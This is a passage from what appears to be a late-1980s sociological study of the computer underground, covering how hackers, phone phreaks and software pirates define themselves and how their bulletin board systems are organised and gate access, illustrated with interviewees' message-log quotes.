               related activities when it was used by programmers in

               the late 1950's.  At that time it referred to the

               pioneering researchers, such as those at M.I.T., who

                    2 During the WGN-Radio show on computer crime one
               caller, who was experiencing a malfunctioning phone
               that would "chirp" occasionally while hung up, believed
               that "computer hackers" were responsible for the
               problem.  The panel assured her that it was unrelated
               to CU activity.



               were constantly adjusting and experimenting with the

               new technology (Levy, 1984. p.7).  A "hacker" in this

               context refers to an unorthodox, yet talented,

               professional programmer. This use of the term still

               exits today, though it is largely limited to

               professional computing circles.

                    Another definition of "hacker" refers to one who

               obtains unauthorized, if not illegal, access to

               computer systems and networks.  This definition was

               popularized by the movie War Games and, generally

               speaking, is the one used by the media.3 It is also the

               definition favored by the computer underground.

                    Both the members of the computer underground and

               computer programmers claim ownership of "hacker," and

               each defend the "proper" use of term.  The computer

               professionals maintain that using "hackers" (or

               "hacking") to refer to any illegal or illicit activity

               is a corruption of the "true" meaning of the word.  Bob

               Bickford, a professional programmer who has organized

               several programmer conferences, explains:

                    3 This is not always true of course.  The AP
               Stylebook has yet to specify how "hacker" should be
               used.  A recent  Associated Press story featured a
               computer professional explaining that a "real hacker"
               would never do anything illegal.  Yet just a few weeks
               later Associated Press distributed stories proclaiming
               that West German "hackers" had broken into US Defense
               Department computer systems.



                    At the most recent conference %called
                    "Hackers 4.0"% we had 200 of the most
                    brilliant computer professionals in the world
                    together for one weekend; this crowd included
                    several PhD's, several presidents of
                    companies (including large companies, such as
                    Pixar), and various artists, writers,
                    engineers, and programmers.  These people all
                    consider themselves Hackers: all derive great
                    joy from their work, from finding ways around
                    problems and limits, from creating rather
                    than destroying.  It would be a great
                    disservice to these people, and the thousands
                    of professionals like them, to let some
                    pathetic teenaged criminals destroy the one
                    word which captures their style of
                    interaction with the universe: Hackers
                    (Bickford, 1988).

                    Participants in the computer underground also

               object to the "misuse" of the term. Their objection

               centers around the indiscriminate use of the word to

               refer to computer related crime in general and not,

               specifically, the activities of the computer


                    Whenever the slightest little thing happens
                    involving computer security, or the breach
                    thereof, the media goes fucking bat shit and
                    points all their fingers at us 'nasty
                    hackers.' They're so damned ignorant it's
                    sick (EN, message log, 1988).

                    . . . whenever the media happens upon
                    anything that involves malicious computer use
                    it's the "HACKERS."  The word is a catch
                    phrase it makes mom drop the dishes and watch
                    the TV.  They use the word because not only
                    they don't really know the meaning but they
                    have lack of a word to describe the
                    perpetrator.  That's why hacker has such a
                    bad name, its always associated with evil
                    things and such (PA, message log, 1988).

                    I never seen a phreaker called a phreaker


                    when caught and he's printed in the
                    newspaper. You always see them "Hacker caught
                    in telephone fraud."  "Hacker defrauds old
                    man with phone calling card." What someone
                    should do is tell the fucken (sic) media to
                    get it straight (TP2, message log, 1988).

                    Obviously the CU and computer professional

               definitions of "hacker" refer to different social

               groups.  As Best and Luckenbill (1982, p. 39) observe:

               "Every social group modifies the basic language to fit

               its own circumstance, creating new words or using

               ordinary words in special ways."  Which definition, if

               either, will come into widespread use remains to be

               seen.  However, since computer break-ins are likely to

               receive more media attention than clever feats of

               programming, the CU definition is likely to dominate

               simply by being used more often.4  But as long as the

               two definitions do exist there will be confusion unless

               writers and researchers adequately specify the group

               under discussion.  For this reason, I suggest that

               sociologists, and criminologists in particular, adopt

               the "underground" definition for consistency and

                    4 Another factor may be the adoption  of a close
               proximity to the underground definition being included
               in the 1986 edition of Webster's New World dictionary:
           n. 1. a person who hacks 2. an unskilled
               golfer, tennis player, etc. 3. a talented amateur user
               of computers, specif. one who attempts to gain
               unauthorized access to files.



               accuracy when speaking of the actions of CU


                    While it is recognized that computer hacking is a

               relatively new phenomenon, the indiscriminant use of

               the term to refer to many different forms of unorthodox

               computer use has been counterproductive to

               understanding the extent of the activity. To avoid this

               a "computer hacker" should be defined as an individual,

               associated with the computer underground, who

               specializes in obtaining unauthorized access to

               computer systems.  A "phone phreak" in an individual,

               associated with the computer underground, who

               specializes in obtaining unauthorized information about

               the phone system.  A "software pirate" is an

               individual, associated with the computer underground,

               who distributes or collects copyrighted computer

               software. These definitions have been derived from the

               data, instead of relying upon those who defend the

               "integrity" of the original meanings, or those who are

               unfamiliar with the culture.


                       Topography of the Computer Underground

                    Having defined the three main roles in the

               computer underground, it is necessary to examine each

               activity separately in order to provide a general

               typology of the computer underground.  In doing so, the

               ways in which each contributes to the culture as a

               whole will be illustrated, and the divisions between

               them that affect the overall organization will be

               developed. Analysis of these roles and divisions is

               crucial to understanding identity, access, and mobility

               within the culture.


                    In the vernacular of the computer underground,

               "hacking" refers to gaining access and exploring

               computer systems and networks. "Hacking" encompasses

               both the act and the methods used to obtain valid user

               accounts on computer systems.

                      "Hacking" also refers to the activity that

               occurs once access to another computer has been

               obtained. Since the system is being used without

               authorization, the hacker does not, generally speaking,

               have access to the usual operating manuals and other

               resources that are available to legitimate users.


               Therefore, the hacker must experiment with commands and

               explore various files in order to understand and

               effectively use the system.  The goal here is to

               explore and experiment with the system that has been

               entered. By examining files and, perhaps, by a little

               clever programming, the hacker may be able to obtain

               protected information or more powerful access



                    Another role in the computer underground is that

               of the "phone phreak."  Phone phreaking, usually called

               just "phreaking," was widely publicized when the

               exploits of John "Cap'n Crunch" Draper, the "father of

               phreaking," were publicized in a 1971 Esquire magazine


                    The term "phreaking" encompasses several different

               means of circumventing  the billing mechanisms of

               telephone companies.  By using these methods, long-

                    5 Contrary to the image sometimes perpetuated by
               computer security consultants, the data indicate that
               hackers refrain from deliberately destroying data or
               otherwise damaging the system.  Doing so would conflict
               with their instrumental goal of blending in with the
               average user so as not to attract undue attention to
               their presence and cause the account to be deleted.
               After spending what may be a substantial amount of time
               obtaining a high access  account, the hacker places a
               high priority on not being discovered using it.



               distance phone calls can be placed without cost. In

               many cases the methods also prevent, or at least

               inhibit, the possibility of calls being traced to their

               source thereby helping the phreaker to avoid being


                    Early phreaking methods involved electro-

               mechanical devices that generated key tones, or altered

               line voltages in certain ways as to trick the

               mechanical switches of the phone company into

               connecting calls without charging.  However the advent

               of computerized telephone-switching systems largely

               made these devices obsolete.  In order to continue

               their practice the phreaks have had to learn hacking


                    Phreaking and hacking have just recently
                    merged, because now, the telephone companies
                    are using computers to operate their network.
                    So, in order to learn more about these
                    computers in relation to the network, phreaks
                    have learned hacking skills, and can now
                    program, and get around inside the machines
                    (AF, message log, 1988).

                    For most members of the computer underground,

               phreaking is simply a tool that allows them to call

               long distance without amassing enormous phone bills.

                    6 Because the two activities are so closely
               related, with phreakers learning hacking skills and
               hackers breaking into "telco" computers, reference is
               usually made to phreak/hacking or "p/hackers."  This
               paper follows this convention.



               Those who have a deeper and more technically oriented

               interest in the "telco" (telephone company) are known

               as phreakers. They, like the hackers discussed earlier,

               desire to master and explore a system that few

               outsiders really understand:

                    The phone system is the most interesting,
                    fascinating thing that I know of. There is so
                    much to know. Even phreaks have their own
                    areas of knowledge.  There is so much to know
                    that  one phreak could know something fairly
                    important and the next  phreak not.  The next
                    phreak might know ten things that the  first
                    phreak doesn't though. It all depends upon
                    where and  how they get their info.  I myself
                    %sic% would like to work for the telco, doing
                    something interesting, like programming a
                    switch. Something that isn't slave labor
                    bullshit. Something that you enjoy, but have
                    to take risks in order to participate unless
                    you are lucky enough to work for the telco.
                    To have access to telco things, manuals, etc
                    would be great (DP, message log, 1988).

                    Phreaking involves having the dedication to
                    commit yourself to learning as much about the
                    phone system/network as possible. Since most
                    of this information is not made public,
                    phreaks have to resort to legally
                    questionable means to obtain the knowledge
                    they want (TP2, message log, 1988).

                    Most members of the underground do not approach

               the telephone system with such passion. Many hackers

               are interested in the phone system solely to the extent

               that they can exploit its weaknesses and pursue other

               goals.  In this case, phreaking becomes a means and not

               a pursuit unto itself. Another individual, one who


               identifies himself as a hacker, explains:

                    I know very little about phones . . . I just
                    hack. See, I can't exactly call these numbers
                    direct.  A lot of people are in the same
                    boat.  In my case, phreaking is a tool, an
                    often used one, but nonetheless a tool (TU,
                    message log, 1988).

                    In the world of the computer underground, the

               ability to "phreak a call" is taken for granted.  The

               invention of the telephone credit card has opened the

               door to wide-scale phreaking.  With these cards, no

               special knowledge or equipment is required to phreak a

               call, only valid credit card numbers, known as "codez,"

               are needed to call any location in the world.  This

               easy access to free long-distance service is

               instrumental for maintaining contact with CU

               participants scattered across the nation.


                    The third major role in the computer underground

               is that of the software pirate.  Software piracy refers

               to the unauthorized copying and distribution of copy-

               righted software.  This activity centers around

               computer bulletin board systems that specialize in

               "warez."7   There pirates can contribute and share

                    7 "Warez" is a common underground term that refers
               to pirated software.



               copies of commercial software. Having access to these

               systems (usually obtained by contributing a copyrighted

               program via a telephone modem) allows the pirate to

               copy, or "download," between two to six programs that

               others have contributed.

                    Software piracy is a growing concern among

               software publishing companies. Some contend that the

               illegal copying of software programs costs the industry

               billions of dollars in lost revenues. Pirates challenge

               this, and claim that in many ways pirating is a hobby,

               much like collecting stamps or baseball cards, and

               their participation actually induces them to spend more

               on software than they would otherwise, even to the

               point of buying software they don't truly need:

                    There's a certain sense of, ahh, satisfaction
                    in having the latest program, or being the
                    first to upload a program on the "want list."
                    I just like to play around with them, see
                    what they can do. If I like something, I'll
                    buy it, or try out several programs like it,
                    then buy one. In fact, if I wasn't pirating,
                    I wouldn't buy any warez, because some of
                    these I buy I do for uploading or just for
                    the fun of it. So I figure the software
                    companies are making money off me, and this
                    is pretty much the same for all the really
                    elite boards, the ones that have the best and
                    most programs. . . . I just bought a $117.
                    program, an accounting program, and I have
                    absolutely no use for it. It's for small
                    businesses.  I thought maybe it would auto-
                    write checks, but it's really a bit too high
                    powered for me. I thought it would be fun to
                    trade to some other boards, but I learned a
                    lot from just looking at it (JX, field notes,


                    Pirates and phreak/hackers do not necessarily

               support the activities of each other, and there is

               distrust and misunderstanding between the two groups.

               At least part of this distrust lies in the

               phreak/hacker perception that piracy is an unskilled

               activity.8  While p/hackers probably don't disapprove

               of piracy as an activity, they nevertheless tend to

               avoid pirate bulletin board systems --partly because

               there is little pertinent phreak/hack information

               contained on them, and partly because of the belief

               that pirates indiscriminately abuse the telephone

               network in pursuit of the latest computer game.  One

               hacker illustrates this belief by theorizing that

               pirates are responsible for a large part of telephone

               credit card fraud.

                    The media claims that it is solely hackers
                    who are responsible for losses pertaining to
                    large telecommunication companies and long
                    distance services.  This is not the case.  We
                    are %hackers% but a small portion of these
                    losses.  The rest are caused by pirates and
                    thieves who sell these codes to people on the
                    street (AF, message log, 1988).

                    Other hackers complained that uploading large

                    8 A possible exception to this are those pirates
               that have the programming skills needed to remove copy
               protection from software.  By removing the program code
               that inhibits duplicate copies from being made these
               individuals, known as "crackers," contribute greatly to
               the easy distribution of "warez."



               programs frequently takes several hours to complete,

               and it is pirate calls, not the ones placed by "tele-

               communications enthusiasts" (a popular euphemism for

               phreakers and hackers) that cost the telephone industry

               large sums of money. However, the data do not support

               the assertation that all pirates phreak their calls.

               Phreaking is considered "very tacky" among elite

               pirates, and system operators (Sysops) of pirate

               bulletin boards discourage phreaked calls because it

               draws attention to the system when the call is

               discovered by the telephone company.

                    Regardless of whether it is the lack of phreak/

               hack skills, the reputation for abusing the network, or

               some other reason, there is indeed a certain amount of

               division between the world of phreakers and hackers and

               that of pirates. The two communities co-exist and share

               resources and methods, but function separately.



                    Social Organization and Deviant Associations

                    Having outlined and defined the activities of the

               computer underground, the question of social

               organization can be addressed.  Joel Best and David

               Luckenbill (1982) have developed a typology for

               identifying the social organization of deviant

               associations.  Essentially they state that deviant

               organizations, regardless of their actual type of

               deviance, will vary in the complexity of their division

               of labor, coordination among organization roles, and

               the purposiveness with which they attempt to achieve

               their goals.  Those organizations which display high

               levels in each of these categories are more

               sophisticated than those with lower levels.

                    Deviants relations with one another can be
                    arrayed along the dimension of organizational
                    sophistication. Beginning with the least
                    sophisticated form, %we% discuss five forms
                    of the social organization of deviants:
                    loners, colleagues, peers, mobs, and formal
                    organizations.  These organization forms are
                    defined in terms of four variables: whether
                    the deviants associate with one another;
                    whether they participate in deviance
                    together; whether their deviance requires an
                    elaborate division of labor; and whether
                    their organization's activities extend over
                    time and space (Best and Luckenbill, 1982,

               These four variables, also known as mutual association,

               mutual participation, elaborate division of labor, and


               extended organization, are indicators of the social

               organization of deviant groups. The following, taken

               from Best and Luckenbill, illustrates:

               FORM OF       MUTUAL    MUTUAL      DIVISION  EXTENDED
               ORGAN-        ASSOCIA-  PARTICIPA-  OF        ORGAN-
               IZATION       TION      TION        LABOR     IZATION
               Loners         no        no          no        no
               Colleagues     yes       no          no        no
               Peers          yes       yes         no        no
               Mobs           yes       yes         yes       no
               Organizations  yes       yes         yes       yes
                                                       (1982, p.25)

                    Loners do not associate with other deviants,
                    participate in shared deviance, have a
                    division of labor, or maintain their deviance
                    over extended time and space.  Colleagues
                    differ from loners because they associate
                    with fellow deviants. Peers not only
                    associate with one another, but also
                    participate in deviance together.  In mobs,
                    this shared participation requires an
                    elaborate division of labor.  Finally, formal
                    organizations involve mutual association,
                    mutual participation, an elaborate division
                    of labor, and deviant activities extended
                    over time and space (Best and Luckenbill,
                    1982, pp.24-25).

                    The five forms of organizations are presented as

               ideal types, and "organizational sophistication" should

               be regarded as forming a continuum with groups located

               at various points along the range (Best and Luckenbill,

               1982, p.25).  With these two caveats in mind, we begin

               to examine the computer underground in terms of each of


               the four organizational variables. The first level,

               mutual association, is addressed in the following




                                 Mutual Association

                    Mutual association is an indicator of

               organizational sophistication in deviant associations.

               Its presence in the computer underground indicates that

               on a social organization level phreak/hackers act as

               "colleagues."  Best and Luckenbill discuss the

               advantages of mutual association for unconventional


                    The more sophisticated the form of
                    organization, the more likely the deviants
                    can help one another with their problems.
                    Deviants help one another in many ways: by
                    teaching each other deviant skills and a
                    deviant ideology; by working together to
                    carry out complicated tasks; by giving each
                    other sociable contacts and moral support; by
                    supplying one another with deviant equipment;
                    by protecting each other from the
                    authorities; and so forth.  Just as  %others%
                    rely on one another in the course of everyday
                    life, deviants find it easier to cope with
                    practical problems when they have the help of
                    deviant associates (1982,pp.27-28).

                    Hackers, phreakers, and pirates face practical

               problems. For example, in order to pursue their

               activities they require  equipment9 and knowledge.  The

                    9 The basic equipment consists of a modem, phone
               line, and a computer -- all items that are available
               through legitimate channels.  It is the way the
               equipment is used, and the associated knowledge that is
               required, that distinguishes hackers from other
               computer users.



               problem of acquiring the latter must be solved and,

               additionally, they must devise ways to prevent

               discovery , apprehension and sanctioning by social

               control agents.10

                    One method of solving these problems is to turn to

               other CU members for help and support.  Various means

               of communication have been established that allow

               individuals to interact regardless of their location.

               As might be expected, the communication channels used

               by the CU reflect their interest and ability in high-

               technology, but the technical aspects of these methods

               should not overshadow the mutual association that they

               support.  This section examines the structure  of

               mutual association within the computer underground.


                    10 Telephone company security personnel, local law
               enforcement, FBI, and Secret Service agents have all
               been involved in apprehending hackers.



                      The Structure of the Computer Underground

                    Both computer underground communities, the

               p/hackers and the pirates, depend on communications

               technology to provide meeting places for social and

               "occupational" exchanges.  However, phreakers, hackers,

               and pirates are widely dispersed across the country

               and, in many cases, the globe.  In order for the

               communication to be organized and available to

               participants in many time zones and "working" under

               different schedules, centralized points of information

               distribution are required.  Several existing

               technologies --computer bulletin boards, voice mail

               boxes, "chat" lines, and telephone bridges/loops --

               have been adopted by the CU for use as communication

               points. Each of these technologies will be addressed in

               turn, giving cultural insight into CU activities, and

               illustrating mutual association among CU participants.

               Bulletin Board Systems

                    Communication in the computer underground takes

               place largely at night, and primarily through Bulletin

               Board Systems (BBS).  By calling these systems and

               "logging on" with an account and password individuals

               can leave messages to each other, download files and


               programs, and, depending on the number of phone lines

               into the system, type messages to other users that may

               be logged on at the same time.

                    Computer Bulletin Board Systems, or "boards,"  are

               quite common in this computerized age.  Nearly every

               medium-sized city or town has at least one. But not all

               BBS are part of the computer underground culture.  In

               fact, many systems prohibit users from discussing CU

               related activity.  However, since all bulletin boards

               systems essentially function alike it is only the

               content, users, and CU culture that distinguish an

               "underground" from a "legitimate" bulletin board.

                    Computer Underground BBS are generally owned and

               operated by a single person (known as the "system

               operator" or "sysop"). Typically setup in a spare

               bedroom, the costs of running the system are paid by

               the sysop, though some boards solicit donations from

               users. The sysop maintains the board and allocates

               accounts to people who call the system.

                    It is difficult to assess the number of

               underground bulletin boards in operation at any one

               time. BBS in general are transitory in nature, and CU

               boards are no exception to this. Since they are

               operated by private individuals, they are often set up

               and closed down at the whim of the operator. A week


               that sees two new boards come online may also see

               another close down.  A "lifetime" of anywhere from 1

               month to 1-1/2 years is common for pirate and

               phreak/hack boards.11   One BBS, claimed to be the

               "busiest phreak/hack board in the country" at the

               time,12 operated for less than one year and was

               suddenly closed when the operator was laid off work.

                    Further compounding the difficulty of estimating

               the number of CU boards is their "underground" status.

               CU systems do not typically publicize their existence.

               However, once access to one has been achieved, it is

               easy to learn of other systems by asking users for the

               phone numbers.  Additionally, most BBS maintain lists

               of other boards that users can download or read. So it

               is possible, despite the difficulties, to get a feel

               for the number of CU boards in operation.    Pirate

               boards are the most common of "underground" BBS.  While

               there is no national "directory" of pirate boards,

               there are several listings of numbers for specific

                    11 While some non-CU BBS' have been operating
               since 1981, the longest operating phreak/hack board has
               only been in operation since 1984.

                    12 At it's peak this p/h board was receiving 1000
               calls a month and supported a community of 167 users
               (TP BBS, message log, 1989).



               computer brands.13  One list of Apple pirate boards has

               700 entries. Another, for IBM boards, lists just over

               500.  While there is no way of determining if these

               lists are comprehensive, they provide a minimum

               estimate. Pirate boards for systems other than IBM or

               Apple seem to exhibit similar numbers. David Small, a

               software developer that has taken an aggressive stance

               in closing down pirate boards, estimates that there are

               two thousand in existence at any one time (1988).

               Based on the boards discovered in the course of this

               research, and working from an assumption that each of

               the four major brands of microcomputers have equal

               numbers of pirate boards, two thousand is a reasonable


                    The phreak/hack BBS community is not divided by

               differing brands of micro-computers.  The applicability

               of phreak/hack information to a wide range of systems

               does not require the specialization that pirate boards

               exhibit.  This makes it easier to estimate the number

               of systems in this category.

                    John Maxfield, a computer security consultant, has

               asserted that there are "thousands" of phreak/hack

                    13 Pirate boards are normally "system specific" in
               that they only support one brand or model of



               boards in existence (WGN-Radio, November 1988).  The

               data, however, do not confirm this.  A list of

               phreak/hack boards compiled by asking active p/hackers

               and downloading BBS lists from known phreak/hack

               boards, indicates that there are probably no more than

               one hundred.  Experienced phreak/hackers say that the

               quality of these boards varies greatly, and of those

               that are in operation today only a few (less than ten)

               attract the active and knowledgeable user.

                    Right after "War Games" came out there must
                    have been hundreds of hacker bulletin boards
                    spring up. But 99% of those were lame. Just a
                    bunch of dumb kids that saw the movie and
                    spent all there %sic% time asking "anyone got
                    any k00l numberz?" instead of actually
                    hacking on anything. But for a while there
                    was %sic% maybe ten systems worth calling . .
                    . where you could actually learn something
                    and talk to people who knew what was going
                    Nowadays %sic% there are maybe three that I
                    consider good . . . and about four or five
                    others that are okay.  The problem is that
                    anybody can set up a board with a k-rad name
                    and call it a hacker board and the media/feds
                    will consider it one if it gets busted. But
                    it never really was worth a shit from the
                    beginning.(TP2, field notes, 1989)

                    Towards a BBS Culture.  Defining and identifying

               CU boards can be problematic.  The lack of an ideal

               type undoubtedly contributes to the varying estimates

               of the number of CU bulletin board systems. While

               developing such a typology is not the intent of this

               work, it is appropriate to examine the activities and


               characteristics exhibited by BBS supporting the pirate

               and phreak/hack communities.  While much of the culture

               of pirate and phreak/hack worlds overlap, there are

               some differences in terms of how the BBS medium is used

               to serve their interests. We begin with a short

               discussion of the differences between the two

               communities, then discuss cultural characteristics

               common to all CU BBS systems.

                    All BBS feature a "files area" where programs and

               text files are available for downloading by users.

               Initially these programs/files are supplied by the

               system operator, but as the board grows they are

               contributed (called "uploading") by callers. The

               content and size of the files area differs according to

               whether the board supports the pirate or phreak/hack


                    The files area on a pirate board consists

               primarily of programs and program documentation.

               Normally these programs are for only one brand of

               micro-computer (usually the same as the system is being

               run on). Text files on general or non-computer topics

               are uncommon.  A "files area" menu from a pirate BBS

               illustrates the emphasis on software:

                    %1% Documentation        %2% Telecommunications
                    %3% Misc Applications    %4% Word Processing
                    %5% Graphics             %6% Utilities
                    %7% Games 1              %8% Games 2


                    %9% XXX Rated            %10% Elite_1
                    %11% Elite_2             %12% Super_Elite
                                      (IN BBS, message log, 1988)

                    The "files area" on a phreak/hack BBS is

               noticeably smaller than it is on pirate systems.  It

               consists primarily of instructional files (known as "g-

               files" for "general files") and copies of phreak/hack

               newsletters and journals.  Pirated commercial software

               is very rare; any programs that are available are

               usually non-copyrighted specialized programs used to

               automate the more mundane aspects of phreaking or

               hacking. It is not uncommon to find them in forms

               usable by different brands of computers.  A "files

               area" list from a phreak/hack BBS is listed here

               (edited for size):

                      Misc Stuff
                    BRR2    .TXT: Bell Research Report Volume II
                    BRR1    .TXT: Bell Research Report Volume I
                    CONFIDE .ARC: Confide v1.0 DES
                    CNA     .TXT: A bunch of CNA numbers
                    CLIPS   .ARC: newsclippings/articles on hackers
                                  and busts
                    ESS1    .TXT: FILE DESCRIBING THE ESS1 CHIP
                    TELEPHON.TXT: NY Times Article on hackers/phreaks
                    HP-3000 .TXT: This tells a little info about hp
                    VIRUS   .TXT: Digest of PC anti-viral programs.

                    Hack/Phreak Programs
                    THIEF   .ARC: Code Thief for IBM!
                    PC-LOK11.ARC: IBM Hard Disk Lock Utility- fairly
                    PHONELIS.COM: Do a PHONE DIR command on VAX from
                    XMO     .FOR: VAX Xmodem Package in FORTRAN


                    PASSWORD.ARC: IBM Password on bootup.  Not too

                    Archived Gfiles
                    PHRACK15.ARC: Phrack #15
                    PHRACK10.ARC: Phrack #10
                    PHRACK20.ARC: Phrack #20
                    ATI1_6.ARC  : ATI issues one thru six
                    PHRACK5.ARC : Phrack #5
                    PHRACK25.ARC: Phrack #25
                    PHUN1.ARC   : P/Hun first issue
                    TCSJ.ARC    : Telecom Security Journal
                    ATI31.ARC   : Activist Times Inc number 31
                    LODTECH3.ARC: LoD Tech Journal three
                                         (TPP BBS, message log, 1988)

                    The difference in files area size is consistent

               with the activities of pirates and phreak/hackers.  The

               main commodity of exchange between pirates is, as

               discussed earlier, copyrighted software thus accounting

               for the heavy use of that area of the board that

               permits exchange of programs.  The phreak/hackers, on

               the other hand, primarily exchange information about

               outside systems and techniques.  Their interests are

               better served by the "message bases" of BBS.

                    The "message bases" (areas where callers leave

               messages to other users) are heavily used on

               phreak/hack systems. The  messages are not specific to

               one brand of micro-computer due to the fact that not

               all users own the same equipment. Rather than focus on

               the equipment owned by the phreak/hacker, the messages

               deal with their "targets."  Everything from

               phreak/hacking techniques to CU gossip is discussed. On


               some boards all the messages, regardless of topic, are

               strung together in one area.  But on others there are

               separate areas dealing with specific networks and

               mainframe computers:

                    Message Boards available:

                     1 : General
                     2 : Telecommunications
                     3 : Electronics
                     4 : Packet Switched Nets
                     5 : VAX/DEC
                     6 : Unix
                     7 : Primos
                     8 : HP-x000
                     9 : Engineering
                    10 : Programming & Theory
                    11 : Phrack Inc.
                    12 : Sociological Inquiries
                    13 : Security Personnel & Discussion
                    14 : Upper Deck
                    15 : Instructors
                                       (TPP BBS, message log, 1988)

                    The pirate community, on the other hand, makes

               little use of the "message bases." Most users prefer to

               spend their time (which may be limited by the system

               operator on a per day or per call basis) uploading

               and/or downloading files rather than leaving messages

               for others.  Those messages that do exist are usually

               specific to the pirating enterprise such as help with

               programs on the board, requests for specific programs

               ("want lists"), and notices about other pirate bulletin

               boards that users may want to call. Occasional

               discussion of phreaking may occur, but the emphasis is


               on techniques used to make free calls, not technical

               network discussions as often occurs on phreak/hack

               systems.  A list of message areas from a large pirate

               BBS illustrates the emphasis on the pirating

               enterprise.  A message area for general discussions has

               been created, but those areas devoted to pirating

               display more use:

                    Area %1% General Discussion      15 messages
                    Area %2% Pirating Only!!         75 messages
                    Area %3% Warez Wants             31 messages
                    Area %4% **private messages**    10 messages
                                     (TL BBS, message log, 1988)

                    In addition to the differences between files and

               message use on pirate and phreak/hack boards, they

               differ in degree of community cohesiveness.  Every BBS

               has a group of "users" --the people who have accounts

               on the system. The group of users that call a specific

               BBS can be considered to be a "community" of loosely

               associated individuals by virtue of their "membership"

               in the BBS.

                    Additionally, the system itself, serving either

               pirates or phreak/hackers, exists within a loose

               network of other bulletin boards that serve these same

               interests. It is within this larger community where

               pirate and phreak/hack boards seem to differ.

                    Due to the brand-specific nature of pirate boards,

               there is not a strong network between pirate BBS that


               operate on other systems.  This is understandable as a

               pirate that owned an Apple computer would have little

               use for the programs found on an IBM board.  However,

               this creates separate communities of active pirates,

               each loosely associated with other users of their

               computer type, but with little or no contact with

               pirate communities on other systems.

                    There is, however, a degree of cohesiveness among

               pirate boards that support the same micro-computers.

               While the users may be different on systems, the data

               shows that some pirate boards are "networked" with each

               other via special software that allows messages and

               files to be automatically shared between different

               boards.  Thus a message posted on a west coast pirate

               board will be automatically copied on an east coast BBS

               later that night. In a like manner, software programs

               can be sent between "networked" boards.  The extent of

               this network is unknown.

                    The pirate BBS community also exhibits

               cohesiveness in the form of "co-sysops."  As discussed

               earlier, sysops are the system operators and usually

               owners of BBS.  On some pirate boards, "co-sysop"

               distinction is given to an operator of another board,

               often located in another state. This forms a loose

               network of "sister boards" where the sysop of one has


               co-sysop privileges on the other.   However, this

               cooperative effort appears to be limited mainly to the

               system operators as comparing user lists from sister

               boards shows little overlap between the regular

               callers. How co-sysop positions are utilized is

               unknown, and it is suspected that they are largely

               honorary.  But nonetheless it is indicative of mutual

               association between a small number of boards.

                     The phreak/hack board community does not exhibit

               the same brand-specific division as the pirate

               community.  Unlike the divided community of pirates,

               phreak/hackers appear to maintain contacts throughout

               the country.  Obtaining and comparing user lists from

               several phreak/hack BBS reveals largely the same group

               of people using several different boards across the

               country.14 While phreak/hack boards have yet to adopt

               the "networking" software used by pirate boards, an

               active group of phreak/hackers is known to use the

               sophisticated university mainframe computer network,

               called Bitnet, to exchange phreak/hack newsletters and


                    Despite the operational differences between pirate

                    14 In fact, users lists from phreak/hack BBSs
               located in Europe and Australia show that many U.S.
               p/hackers utilize these systems as well.



               and phreak/hack boards, their cultures are remarkably

               similar. Any discussion of the computer underground

               must include both communities.  Additionally, a

               formulation of the culture of CU BBS must address the

               means in which access to the board, and thus deviant

               associates, is obtained.

                    For a caller to successfully enter the CU BBS

               community, he must display an awareness of CU culture

               and technical skill in the CU enterprise. If the caller

               fails to exhibit cultural knowledge, then access to the

               board is unlikely to be granted.  The ways in which

               this cultural knowledge is obtained and displayed

               illustrates the social nature of the CU and further

               displays some of the subcultural norms of behavior.

                    On most "licit" (non-underground) boards,

               obtaining permission to use the system is accomplished

               by logging on and providing a name and home phone

               number to the system operator (sysop).  Sysop's

               normally do not check the validity of the information,

               and once a caller has provided it he or she is granted

               full access to the system.  There is normally one level

               of access for all users, with only the sysop having

               more "powerful" access.

                    Obtaining access to underground bulletin boards is

               more complicated and requires more steps to complete.


               In an attempt to prevent law enforcement agents

               ("feds") from obtaining accounts on systems where

               pirates or p/hackers are vulnerable, if not to actual

               arrest, then at least to exposing their latest act-

               ivities and methods, sysop's of illicit boards attempt

               to limit access to the system.

                    One method of doing this is to restrict

               publicizing the existence of the board.  Computer

               underground BBS are not normally included in BBS

               listings found in computer books and magazines, and

               there is a norm, particularly strong on p/hack systems,

               that the boards are not to be mentioned on non-CU

               systems.  There are, however, some "entry-level" CU BBS

               that are fairly well known.  These systems are known as

               "anarchist" boards.

                    "Anarchist" boards, while exhibiting many of the

               same characteristics as pirate and phreak/hack boards,

               are really a cross between the two and serve primarily

               as social outlets for both pirates and phreak/hackers.

               The message areas on "anarchist" boards are quite

               active, "chatty" messages are not discouraged. Indeed

               there are normally  several different message areas

               devoted to a wide range of topics including everything

               from "skipping school" to "punk rock." The files area

               contains both warez (but normally only the newest


               games, and specific to the computer system that the

               board runs on) and phreak/hack text files.  Neither

               collection is as extensive as it would be on pirate-

               only or p/hack-only systems.

                    The data suggest that one function of "anarchist"

               boards is to introduce newcomers to the culture of the

               computer underground. By acting as "feeder boards,"

               they can provide preliminary socialization and

               instruction for CU behavior and techniques.

               Additionally, "anarchist" boards frequently provide

               areas where phone numbers to pirate and p/hack systems

               can be traded, thus providing systems where more in-

               depth information, and other contacts, can be found.  A

               phreak/hacker describes how an "anarchist" board was

               instrumental in introducing him to the computer


                    I've been phreaking and hacking for about
                    four years now.  I discovered phreaking on my
                    own at this place I used to work.  We had
                    this small LD %long distance% provider that
                    used codez so I started hacking them out and
                    calling places myself . . . but I didn't know
                    no other phreaks at that time.  Then I
                    started using the codez to call boards from
                    home on my computer. Somebody gave me the
                    number to Jack Black's Whore House %an
                    "anarchy board"% and I started learning about
                    hacking and shit from the people and philes
                    they had there. Then one day this guy, King
                    Hammer, sent me some e-mail %a private
                    message% and told me to call his system.
                    That's where I really learned my way around
                    the nets and shit.  You could ask questions
                    and people would help you out and stuff. If I


                    hadn't found out some of the tricks that I
                    did I probably would have got busted by now.
                    (TP2, field notes, 1989)

                    Once an individual has obtained the telephone

               number to a CU BBS, through whatever channels, callers

               follow essentially the same procedure as they do on

               licit systems . . . that of calling and logging on.

               However, since "underground" boards are not truly

               underground (that is, totally secret) first-time

               callers are not given access to the board itself. When

               a user is unable to provide an already valid

               username/password, the system will automatically begin

               its registration procedure.   First, the caller is

               asked to enter a "username" (the name used by the

               system to distinguish between callers) and "phone

               number."  These first system requests, normally seen

               only as "Enter Your Name and Phone Number," serve as

               partial screens to keep out non-underground callers

               that may have happened across the board.  The way that

               a user responds to these questions indicates if they

               have cultural knowledge of the CU. The  norm is to

               enter a pseudonym and a fake phone number.15 If a

                    15 A functional reason for this norm is that
               usernames and telephone numbers are stored on the
               computer as part of the BBS system files.  Should the
               BBS ever be seized in legal proceedings, this list of
               names and numbers (and on some systems addresses . . .
               which are also normally false) could be used to
               identify the users of the system.



               caller enters his or her real name (or at least a name

